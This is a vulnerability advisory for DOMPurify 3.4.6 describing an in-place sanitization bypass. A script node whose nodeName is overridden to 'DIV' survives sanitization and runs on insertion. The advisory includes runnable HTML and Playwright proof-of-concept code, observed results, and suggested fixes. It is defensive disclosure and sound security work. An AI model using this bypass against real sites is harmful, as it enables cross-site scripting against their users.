PT-2026-50852 · Npm · Dompurify

Published

2026-06-15

·

Updated

2026-06-15

None

No severity ratings or metrics are available. When they are, we'll update the corresponding info on the page.

Summary

When DOMPurify.sanitize(root, { IN PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.
This affects current 3.4.6. The recent IN PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.

Affected

  • DOMPurify 3.4.6
  • Any caller that does DOMPurify.sanitize(node, { IN PLACE: true }) on attacker-supplied live DOM nodes
  • Verified attacker-controlled node sources:
  • same-origin iframe → live node passed by reference
  • same-origin window.open() popup → live node passed by reference
  • same-origin foreign node adopted into the host document via document.adoptNode(node) and then sanitized in-place
Not affected:
  • String-input DOMPurify.sanitize(dirtyString)

Vulnerability details

Code paths

[A] — sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:
ts
const sanitizeElements = function (currentNode: any): boolean {
 ...
 if ( isClobbered(currentNode)) {
   forceRemove(currentNode);
  return true;
 }

 const tagName = transformCaseFunc(currentNode.nodeName);
 ...
 if (
  FORBID TAGS[tagName] ||
  (!(...) && !ALLOWED TAGS[tagName])
 ) {
  ...
   forceRemove(currentNode);
  return true;
 }
 ...
};
For non-form nodes, isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.
[B] — isClobbered is form-specific:
ts
const isClobbered = function (element: Element): boolean {
 const realTagName = getNodeName ? getNodeName(element) : null;
 if (typeof realTagName !== 'string') {
  return false;
 }

 if (transformCaseFunc(realTagName) !== 'form') {
  return false;
 }

 return (...);
};
The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.

Why the bypass works

The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's IN PLACE pipeline.
If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN PLACE: true }) as its final sanitization step.
For the verified primitive below:
  • the real child node is <script>
  • its script text is attacker-controlled
  • the observable nodeName is attacker-controlled and made to appear as "DIV"
  • sanitizeElements therefore classifies the real <script> child as an allowed element
  • the real <script> survives in the sanitized tree and executes on insertion
This primitive survives:
  • direct reference passing
  • document.adoptNode(node) followed by IN PLACE
It does not survive:
  • importNode
  • cloneNode
because those paths materialize a fresh node and discard the hostile object semantics.

Proof of concept

(1) Minimal — runnable in a single browser context

html
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
 const foreign = window.open('about:blank', ' blank', 'noopener=no');

 const host = foreign.document.createElement('div');
 const script = foreign.document.createElement('script');
 script.textContent = 'window. pwned = 1';
 Object.defineProperty(script, 'nodeName', {
  value: 'DIV',
  configurable: true,
 });
 host.appendChild(script);

 DOMPurify.sanitize(host, { IN PLACE: true });

 console.log('output:', host.outerHTML);
 // <div><script>window. pwned = 1</script></div>

 window. pwned = 0;
 document.body.appendChild(host);
 console.log('handler fired:', window. pwned === 1); // true
</script>
</body></html>

(2) End-to-end — Playwright

js
const { chromium } = require('playwright');
const path = require('path');

(async () => {
 const browser = await chromium.launch();
 const page = await browser.newPage();
 await page.goto('about:blank');
 await page.addScriptTag({ path: path.resolve('dist/purify.js') });

 const result = await page.evaluate(async () => {
  window. hits = [];

  const foreign = window.open('about:blank', ' blank', 'noopener=no');
  const host = foreign.document.createElement('div');
  const script = foreign.document.createElement('script');
  script.textContent = 'top. hits.push("script-fired")';
  Object.defineProperty(script, 'nodeName', {
   value: 'DIV',
   configurable: true,
  });
  host.appendChild(script);

  DOMPurify.sanitize(host, { IN PLACE: true });
  document.body.appendChild(host);

  return {
   version: DOMPurify.version,
   output: host.outerHTML,
   fired: window. hits.includes('script-fired'),
  };
 });

 console.log(result);
 await browser.close();
})();
Observed:
  • Chromium / Firefox / WebKit
js
{
 version: '3.4.6',
 output: '<div><script>top. hits.push("script-fired")</script></div>',
 fired: true
}

Impact

Direct

XSS via retained real <script> nodes inside attacker-supplied live DOM objects.
Any consumer that uses DOMPurify.sanitize(node, { IN PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.
The typical pattern is:
js
// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();

// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN PLACE: true });
container.appendChild(foreignNode);
If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.

Indirect / second-order

  • Applications that accept same-origin plugin / extension / widget DOM and rely on IN PLACE as the final sanitization step
  • Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization

Suggested fix

Two minimal-risk options:
  1. Stop trusting instance-visible nodeName for the element decision in IN PLACE.
Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.
In other words, the main pipeline should not do:
ts
const tagName = transformCaseFunc(currentNode.nodeName);
on hostile live objects.
  1. Generalize hostile-node detection beyond form.
The current isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:
  • nodeName
  • attributes
  • childNodes
Either approach would close the verified primitive above.

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-X4VX-RJVF-J5P4

Affected Products

Dompurify